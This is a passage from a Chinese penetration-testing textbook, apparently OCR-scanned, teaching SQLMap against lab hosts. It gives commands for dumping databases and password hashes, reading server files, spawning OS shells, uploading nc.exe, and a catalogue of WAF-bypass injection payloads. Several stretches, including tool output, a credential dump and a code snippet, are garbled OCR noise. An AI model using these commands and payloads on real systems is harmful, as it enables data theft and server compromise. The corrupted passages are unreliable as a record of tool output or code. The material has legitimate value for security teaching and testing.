SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定 URL的 SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、
PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、 Firebird、Sybase和SAP MaxDB。SQLMap采用了以下5种独特的SQL注入技术。
●基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
●基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句
查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
●基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回 到页面中。
●联合查询注入,在可以使用Union 的情况下的注入。
●堆查询注入,可以同时执行多条语句时的注入。
SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目
标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap 的功能强大到让人惊 叹,当常规的注入工具不能利用SQL 注入漏洞进行注入时,使用SQLMap 会有意想不到 的效果。
3.1.1 安装SQLMap
SQLMap 的安装需要Python 环境(不支持Python 3),本节使用的是
Python 2.7.3,可在官网下载安装包并一键安装,安装完成后,复制Python 的安装目 录,添加到环境变量值中,如图3-1所示。
图3-2运行SQLMap
3.1.2 SQLMap入 门
1.判断是否存在注入
假设目标注入点是http://192.168.1.104/sql1/Less-1/?id=11,判断其是否 存在注入的命令如下所示。
sqlmap.py-u http://192.168.1.104/sql1/Less-1/?id=1
结果显示存在注入,如图3-3所示。
ermote:-1feemans seleap.FY -u http:1/ 192.168.1.164/AGI¹M**-1/714-1
!
MtP //QLPO
!!legal dtsclatner:Wsge ct salenp ter attecking targets sitheut prtor sutusl cansent ts fllessl.It fs che end use
spon(re)tgt
is(t)y(y) at(te)ow(eb)ieyar(a)d(tt)ospe(aop)lcaur(lcab)
ed
opet(i)lh.
1srt 14:17:0
4 we!tetine cennct lon te te taret
: 明 g! 效Iheuristic (
sic)test shoe that GfI pareter
4:- urietir K⁶teet cwe thet ErI faretn ia
te o 0rtl ,
iuaaki
tc]reriective(⁰6se)lva(en-)tlun(ice)
s)toune(e)lan(tnd)e f¹iterin(r)g out AI CLE'
t i -* iet
(14:38: (ROi heuristic (ertended)test shovs that n( th)
to(bac)t-e
die0Gta(TS)t coPuy(ld)let(be)h "ms(⁵)c(L)s ig chuC*?n
e twor setn 'we 5.5 o errer bhte-*FtF,MNIWG,Ota BY ar CARP BY Gleie fOIGIN UWIAFD)
还有一种情况,当注入点后面的参数大于等于两个时,需要加双引号,如下所
示
。
sqlmap.py-u "http://192.168.1.104/sql¹/Less-1/?id=1&uid=2"
可以看到,运行完判断是否存在注入的语句后, “爆出”一大段代码, 下面来
分析代码反馈给我们的信息。这里有三处需要选择的地方:第一处的意思为检测到数据 库可能是MySQL, 是否需要跳过检测其他数据库;第二处的意思是在 “level1、
risk1”的情况下,是否使用MySQL 对应的所有Payload进行检测;第三处的意思是参 数ID存在漏洞,是否要继续检测其他参数, 一般默认按回车键即可,如图3-4所示。
2.判断文本中的请求是否存在注入
从文件中加载HTTP 请 求 ,SQLMap 可以从一个文本文件中获取HTTP 请求,
这样就可以不设置其他参数(如cookie、POST 数据等),txt文件中的内容为Web 数 据包,如图3-5所示。
1.txt
GET /sql1/Less-1/?1d=1 HTTP/1.1
Host:192.168.1.104
Mac 0S X 10.12;ry:53.0)Gecko/20100101 Firefox/
53.0
Accept:text/html,applisation/xhtml+xml,apglisetigny/xmlig=0.9,*/*;q=0.8
Accept-Language:zh-CN,zhiq=0.8,en-US;q=0,S,SniQ=0.3
Connection:ciose
Upgrade-Insecure-Requests:1
判断是否存在注入的命令如下所示,运行后的结果如图3-6所示, -r一般在存 在cookie 注入时使用。
sqlmap.py-r desktop/1.txt
3 .查询当前用户下的所有数据库
该命令是确定网站存在注入后,用于查询当前用户下的所有数据库,如下所
示。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所 有数据库,如图3-7所示。
sqlmap.py-u http://192.168.1.104/sql¹/Less-1/?id=1--dbs
从图3- 7中可以看到,查询出了17个数据库及所有数据库的库名。当继续注入
时, ——dbs 缩写成-D xxx,其意思是在xxx数据库中继续查询其他数据。
4.获取数据库中的表名
该命令的作用是查询完数据库后,查询指定数据库中所有的表名,如下所示。
如果在该命令中不加入-D 参数来指定某一个具体的数据库,那么SQLMap 会列出数据 库中所有库的表,如图3-8所示。
"http://192.168.1.7/sql/union.php?id=1"-D dkeye--
从图3-8中可以看到dkeye数据库中拥有的3个表名。当继续注入时, —— tables缩写成-T, 意思是在某表中继续查询。
5.获取表中的字段名
该命令的作用是查询完表名后,查询该表中所有的字段名,如下所示。运行该 命令的 结 果如图3-9所示。
sqlmap.py- u "http: //192.168.1.7/sql/union.php?id=1" -D dkeye-T user_info——columns
Database:dkeye
Table:user_info
[4 columns]
|Column I Type
Id I int(11)
password I varchar(32)
userkey varchar(32)
username | varchar(25)
从图3-9中可以看到在dkeye 数据库中的user_info表中一共有4个字段。在后 续的注入中, ——columns 缩写成-C。
6.获取字段内容
该命令是查询完字段名之后,获取该字段中具体的数据信息,如下所示。
sqlmap.py-u "http:/ /192.168.1.7/sql/union.php?id=1"-D dkeye -T user_info-C username,password——dump
这里需要下载的数据是dkeye 数据库里user_info 表中username 和password
username | password
Dumb
Angelina Dummy
stupid
superman batman admin
Dumb
I-kill-you
possword
s(c)t(r)up(app)iyd ity
mob!le
admin
7.获取数据库的所有用户
该命令的作用是列出数据库的所有用户,如下所示。在当前用户有权限读取包 含所有用户的表的权限时,使用该命令就可以列出所有管理用户。
sqlmap.py-u"http://192.168.1 .7/sql/union.php?id=1"——users 可以看到,当前用户账号是root,如图3-11所示。
r(a)o(b)o(a)t'@(se)'1(m)2(a)7(na)
e0(m)e1(n)
system
8.获取数据库用户的密码
该命令的作用是列出数据库用户的密码,如下所示。如果当前用户有读取包含 用户密码的权限,SQLMap 会先列举出用户,然后列出Hash, 并尝试破解。
sqlmap.py-u "http://192.168.1.7/sql/union.php?id=1"——passwords
可以看到,密码使用MySQL5 加密,可以在www.cmd5.com 中自 行解密。
9.获取当前网站数据库的名称
使用该命令可以列出当前网站使用的数据库,如下所示。
sqlmap.py-u "http://192.168.1.7/sql/union.php?id=1"——current-db 从图3-13中可以看到数据库是’sql'。
10.获取当前网站数据库的用户名称
使用该命令可以列出当前网站使用的数据库用户,如下所示。
sqlmap.py-u "http://192.168.1.7/sql/union.php?id=1"——current-user 从图3-14中可以看到,用户是root。
图3-14列出当前数据库的用户
3.1.3 SQLMap进阶:参数讲解
1.——level 5: 探测等级
参数——level 5指需要执行的测试等级, 一共有5个等级(1~5),可不加
level, 默认是1。SQLMap使用的Payload可以在xml/payloads.xml 中看到,也可以 根据相应的格式添加自己的Payload, 其中5级包含的Payload最多,会自动破解出 cookie、XFF等头部注入。当然,level 5的运行速度也比较慢。
这个参数会影响测试的注入点, GET和POST的数据都会进行测试, HTTP
cookie在level为2时就会测试, HTTP User-Agent/Referer头在level为3时就会测试。 总之,在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level 值。
2.——is-dba: 当前用户是否为管理权限
该命令用于查看当前账户是否为数据库管理员账户,如下所示,在本案例中输 入该命令,会返回Ture, 如图3-15所示。
sqlmap.py-u "http://192.168.1.7/sql/union .php?id=1"——is-dba
101Y58?26][INFU]Tetcmng cUTTeit user
current user is DBA: True
3.——roles: 列出数据库管理员角色
该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的 表,输入该命令会列举出每个用户的角色,也可以用-U 参数指定想看哪个用户的角
色。该命令仅适用于当前数据库是Oracle的时候。在本案例中输入该命令的结果如图 3-16所示。
[*]'root'@'127.0.0.1'(administrator)[28]:
role:ALTER
role:ALTER | ROUTINE |
rale:CREATE |
|
role:CREATE | ROUTINE |
role:CREATE | TABLESPACE |
role:CREATE | TEMPORARY TABLES |
role:CREATE | USER |
role:CREATE | VIEW |
role:DELETE
role:DROP
role:EVENT
role:EXECUTE
role:FILE
role:INDEX
role:INSERT
role:LOCK TABLES
role:PROCESS
role:REFERENCES
role:RELOAD
role:REPLICATION CLIENT
role:REPLICATION SLAVE
role:SELECT
role:SHOW DATABASES
role:SHOW VIEN
role:SHUTDOWN
role:SUPER
role:TRIGGER
role:UPDATE
图3-16查看数据库用户的角色
4.——referer:HTTP Referer头
SQLMap可以在请求中伪造HTTP中的referer, 当——level 参数设定为3或3
以上时,会尝试对referer注入。可以使用referer命令来欺骗,如——referer http://
www.baidu.com。
5.——sql-shell: 运行自定义SQL语句
该命令用于执行指定的SQL 语句,如下所示,假设执行select*from users limit 0,1语句,结果如图3-17所示。
sqlmap.py-u"http://192.168.1.7/sql/union.php?id=1"——sql-shell
6.——os-cmd,——os-shell: 运行任意操作系统命令
在数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户
有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap 上传一个二 进制库,包含用户自定义的函数sys_exec() 和sys_eval(), 那么创建的这两个函数 就可以执行系统命令。在Microsoft SQL Server中 ,SQLMap 将使用xp_cmdshell存 储过程,如果被禁用(在Microsoft SQL Server 2005及以上版本默认被禁制),则
SQLMap会重新启用它;如果不存在,会自动创建。
用——os-shell参数可以模拟一个真实的Shell, 输入想执行的命令。当不能
执行多语句时(比如PHP 或ASP 的后端数据库为MySQL), 仍然可以使用INTO
OUTFILE写进可写目录,创建一个Web 后门。 ——os-shell支持ASP、ASPNET、JSP 和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是——is-dba 的 值要为True)。
7.——file-read: 从数据库服务器中读取文件
该命令用于读取执行文件,当数据库为MySQL、PostgreSQL 或Microsoft
SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可 以是二进制文件。下面以Microsoft SQL Server 2005为例,复习——file-read参数的 用法。
$python sqlmap.py -u
"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"\
…file-read "C:/example.exe"-v 1
[hh:mm:49][INFO]the back-end DBMS is Microsoft SQL Server
web server operating system:Windows 2000
web application technology:ASP.NET,Microsoft IIS 6.0,ASP
back-end DBMS:Microsoft SQL Server 2005
[hh:mm:50][INFO]fetching file:'C:/example.exe'
[hh:mm:50][INFO]the SQL query provided returns 3 entries
C:/example.exe file saved to:
'/software/sqlmap/output/192.168.136.129/files/C example.exe'
[…]
$1s -1 output/192.168.136.129/files/C example.exe
-rw-r--r--1 inquis inquis 25602011-MM-DD hh:mm
output/192.168.136.129/files/C example.exe
$file output/192.168.136.129/files/C example.exe
output/ 192.168.136.129/files/C__example.exe:PE32 executable for MS Windows(GUI)
Intel
8038632-bit
8.——file-write——file-dest: 上传文件到数据库服务器中
该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL 或
Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是 文本,也可以是二进制文件。下面以一个MySQL 的例子复习——file-write——file- dest参数的用法。
s file /software/nc.exe.packed
/software/nc.exe.packed:PE32 executable for MS Windows(console)Intel 8038632-bit $1s -1 /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 317442009-NM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1"
--file-write \
"/software/nc.exe.packed"--file-dest"C:/WINDOWS/Temp/nc.exe"-v 1
[…]
[hh:mm:29][INFO]the back-end DBNS is MySQL
web server operating system:Windows 2003 or 2008
web application technology:ASP.NET,Microsoft IIS 6.0,ASP.NET 2.0.50727 back-end DBMS:MySQL 8gt;=5.0.0
want confirmation that the file'C:/WINDOWS/Temp/nc.exe'has been
written on the back-end DBNS file system?[Y/n]y
[hh:mm:52][INFO]retrieved:31744
[hh:mm:52][INFO]the file has been successfully written and its size is 31744 bytes, same size as the local file '/software/nc.exe.packed'
3.1.4 SQLMap自带绕过脚本tamper的讲解
SQLMap在默认情况下除了使用CHAR() 函数防止出现单引号,没有对注入
的数据进行修改,读者还可以使用——tamper 参数对数据做修改来绕过WAF 等设备, 其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规 则,命令如下所示。
sqlmap.py XXXXX——tamper "模块名"
目前官方提供53个绕过脚本,下面是一个tamper 脚本的格式。
#sqlmap/tamper/escapequotes.py
from lib.core.enums import PRIORITY
riority_=PRIORITY.LOWEST
def dependencies():
Pass
def tamper(payload,**kwargs):
return payload.replace(""","\\'").replace('"','\\"')
不难看出, 一个最小的tamper脚本结构为priority 变量定义和
dependencies、tamper 函数定义。
● priority定义脚本的优先级,用于有多个tamper 脚本的情况。
●dependencies 函数声明该脚本适用/不适用的范围,可以为空。
下面以一个转大写字符绕过的脚本为例,tamper绕过脚本主要由
dependencies和tamper两个函数构成。def tamper(payload,**kwargs) 函数接 收playload和**kwargs返回一个Payload。下面这段代码的意思是通过正则匹配所有 字符,将所有攻击载荷中的字符转换为大写字母。
def tamper(payload,**kwargs):
retVal =payload
^
if f(p)o(a)r(y)lma(oad:)tch in re.finditer(r"[A-Za-z_]+",retval):
word =match.group()
if word.upper()in kb.keywords:
retVal =retVal.replace(word,word.upper())
return retVal
在日常使用中,我们会对一些网站是否有安全防护 (WAF/IDS/IPS) 进行试
探,可以使用参数——identify-waf 进行检测。
下 面 介 绍 一 些 常 用 的tamper 脚 本 。
·apostrophemask.py
作用:将引号替换为UTF-8, 用于过滤单引号。
使用脚本前的语句为:
1 AND'1'='1
使用脚本后,语句为:
1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
● base64encode.py
作用:替换为base64编码。
使用脚本前的语句为:
1'AND SLEEP(5)#
使用脚本后,语句为:
MScgQU5EIFNMRUVQKDUplw==
·multiplespaces.py
作用:围绕SQL 关键字添加多个空格。
使用脚本前的语句为:
1 UNION SELECT foobar
使用脚本后,语句为:
1 UNION SELECT foobar
·space2plus.py
作用:用+号替换空格。
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT+id+FROM+users
·nonrecursivereplacement.py
作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常 弱的自定义过滤器,例如将SELECT替换为空)。
使用脚本前的语句为:
1 UNION SELECT 2-
使用脚本后,语句为:
1 UNIOUNIONN SELESELECTCT 2-
·space2randomblank.py
作用:将空格替换为其他有效字符。
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT%0Did%0DFROM%OAusers
● unionalltounion.py
作用:将UNION ALL SELECT替换为UNION SELECT。
使用脚本前的语句为:
-1 UNION ALL SELECT
使用脚本后,语句为:
-1 UNION SELECT
·securesphere.py
作用:追加特制的字符串。
使用脚本前的语句为:
1 AND 1=1
使用脚本后,语句为:
1 AND 1=1 and'Ohaving'='Ohaving '
·space2hash.py
作用:将空格替换为#号,并添加一个随机字符串和换行符。 使用脚本前的语句为:
1 AND 9227=9227
使用脚本后,语句为:
1%23nVNaVoPYeva%OAAND%23ngNvzqu%0A9227=9227 ·space2mssqlblank.py(mssql)
作用:将空格替换为其他空符号。
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT%OEid%0DFROM%07users
·space2mssqlhash.py
作用:将空格替换为#号,并添加一个换行符。
使用脚本前的语句为:
1 AND 9227=9227
使用脚本后,语句为:
1%23%0AAND%23%0A9227=9227
● between.py
作用:用NOT BETWEEN O AND替换大于号(>),用BETWEEN AND替换 等号(=)。
使用脚本前的语句为:
1 AND A>B-
使用脚本后,语句为:
1 AND A NOT BETWEEN O AND B-
使用脚本前的语句为:
1 AND A=B-
使用脚本后,语句为:
1 AND A BETWEEN B AND B-
·percentage.py
作用: ASP 允许在每个字符前面添加一个%号。
使用脚本前的语句为:
SELECT FIELD FROM TABLE
使用脚本后,语句为:
%S%E%L%E%C%T%F%1%E%L%D%F%R%0%M%T%A%B%L%E
·sp_password.py
作用:从DBMS日志的自动模糊处理的有效载荷中追加sp_password。 使用脚本前的语句为:
1 AND 9227=9227-
使用脚本后,语句为:
1 AND 9227=9227 — —sp_password
·charencode.py
作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)。 使用脚本前的语句为:
SELECT FIELD FROM%20TABLE
使用脚本后,语句为:
%53%45%4c%45%43%54%20%46%49%45%4c
%44%20%46%52%4f%4d%20%54%41%42%4c%45
● randomcase.py
作用:随机大小写。
使用脚本前的语句为:
INSERT
使用脚本后,语句为:
InsERt
·charunicodeencode.py
作用:字符串unicode 编 码。
使用脚本前的语句为:
SELECT FIELD%20FROM TABLE
使用脚本后,语句为:
%u0053%u0045%u004c
安 %u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c
%u0044%u0020 %u0046%u0052%u004f%u004d
防 %u0020%u0054%u0041%u0042%u004c%u0045
·space2comment.py
作用:将空格替换为/**/。
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT/**/id/**/FROM/**/users
·equaltolike.py
作用:将等号替换为like。
使用脚本前的语句为:
SELECT*FROM users WHERE id=1
使用脚本后,语句为:
SELECT*FROM users WHERE id LIKE 1
·greatest.py
作用:绕过对“>”的过滤,用GREATEST 替换大于号。
使用脚本前的语句为:
1 AND A>B
使用脚本后,语句为:
1 AND GREATEST(A,B+1)=A
测试通过的数据库类型和版本:
● MySQL 4、MySQL 5.0和MySQL 5.5 ·Oracle 10g
● PostgreSQL 8.3、PostgreSQL 8.4和PostgreSQL 9.0
● ifnull2ifisnull.py
作用:绕过对IFNULL的过滤,替换类似IFNULL(A,B) 为IF(ISNULL
(A),B,A)。
使用脚本前的语句为:
IFNULL(1,2)
使用脚本后,语句为:
IF(ISNULL(1),2,1)
测试通过的数据库类型和版本为MySQL 5.0和MySQL 5.5。 ·modsecurityversioned.py
作用:过滤空格,使用MySQL 内联注释的方式进行注入。
使用脚本前的语句为:
1 AND 2>1-
使用脚本后,语句为:
1/*!30874AND 2>1*/-
测试通过的数据库类型和版本为MySQL 5.0。
·space2mysqlblank.py
作用:将空格替换为其他空白符号(适用于MySQL)。
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT%AOid%OBFROM%0Cusers
测试通过的数据库类型和版本为MySQL 5.1。
·modsecurityzeroversioned.py
作用:使用MySQL内联注释的方式(!00000*/)进行注入。 使用脚本前的语句为:
1 AND 2>1-
使用脚本后,语句为:
1 /*!0000OAND 2>1*/-
测试通过的数据库类型和版本为MySQL 5.0。
·space2mysqldash.py
作用:将空格替换为—— ,并添加一个换行符。
使用脚本前的语句为:
1 AND 9227=9227
使用脚本后,语句为:
1 %0AAND——%0A9227=9227
·bluecoat.py
作用:在SQL 语句之后用有效的随机空白符替换空格符,随后用LIKE替换等于 号。
使用脚本前的语句为:
SELECT id FROM users where id=1
使用脚本后,语句为:
SELECT%09id FROM%09users WHERE%09id LIKE 1
测试通过的数据库类型和版本为MySQL 5.1和 SGOS。
·versionedkeywords.py
作用:注释绕过。
使用脚本前的语句为:
UNION ALL SELECT NULL,NULL,CONCAT(CHAR(58,104,116,
116,58),IFNULL(CAST(CURRENT_USER()AS CHAR),CHAR(32)) , CH/**/AR(58,100,114,117,58))#
使用脚本后,语句为:
b
/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,CONCAT
(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*
AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
·halfversionedmorekeywords.py
作用:当数据库为MySQL 时绕过防火墙,在每个关键字之前添加MySQL版 本
不
。
试
使用脚本前的语句为:
value'UNION ALL SELECT CONCAT(CHAR(58,107,112,113,
58),IFNULL(CAST(CURRENT_USER()AS CHAR),CHAR(32)),CHAR
(58,97,110,121,58)),NULL,NULL#AND'QDWa'='QDWa
使用脚本后,语句为:
value'/*!OUNION/*!OALL/*!OSELECT/*!OCONCAT(/*!OCHAR
(58,107,112,113,58),/*!OIFN ULL(CAST(/*!OCURRENT_USER()/ *!OAS/*!OCHAR),/*!OCHAR(32)),/*!OCHAR(58,97,110,121,5
8)),/*!ONULL,/*!ONULL#/*!OAND'QDWa'='QDWa
测试通过的数据库类型和版本为MySQL 4.0.18和 MySQL 5.0.22。
·space2morehash.py
作用:将空格替换为#号,并添加一个随机字符串和换行符。 使用脚本前的语句为:
1 AND 9227=9227
使用脚本后,语句为:
1%23ngNvzqu%OAAND%23nVNaVoPYeva%0A%23 lujYFWfv %0A9227=9227
测试通过的数据库类型和版本为MySQL 5.1.41。
·apostrophenullencode.py
作用:用非法双字节unicode 字符替换单引号。
使用脚本前的语句为:
1 AND'1'='1
使用脚本后,语句为:
1 AND %00%271%00%27=%00%271
·appendnullbyte.py
作用:在有效负荷的结束位置加载零字节字符编码。
使用脚本前的语句为:
1 AND 1=1
使用脚本后,语句为:
1 AND 1=1%00
·chardoubleencode.py
作用:对给定的Payload全部字符使用双重URL编码(不处理已经编码的字 符)。
使用脚本前的语句为:
SELECT FIELD FROM%20TABLE
使用脚本后,语句为:
%2553%2545%254c
%2545 %2543%2554%2520%2546%2549%2545%254c
%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c
%2545
·unmagicquotes.py
作用:用一个多字节组合(%bf%27) 和末尾通用注释一起替换空格。 使用脚本前的语句为:
1'AND 1=1
使用脚本后,语句为:
1%bf%27-
● randomcomments.py
作用:用/**/分割SQL关键字。
使用脚本前的语句为:
INSERT
使用脚本后,语句为:
IN/**/S/**/ERT
虽然SQLMap自带的tamper 可以做很多事情,但在实际环境中,往往比较复
杂,可能会遇到很多情况,tamper 不可能很全面地应对各种环境,所以建议读者在学 习如何使用自带的tamper的同时,最好能够掌握tamper的编写规则,这样在应对各种 实战环境时才能更自如。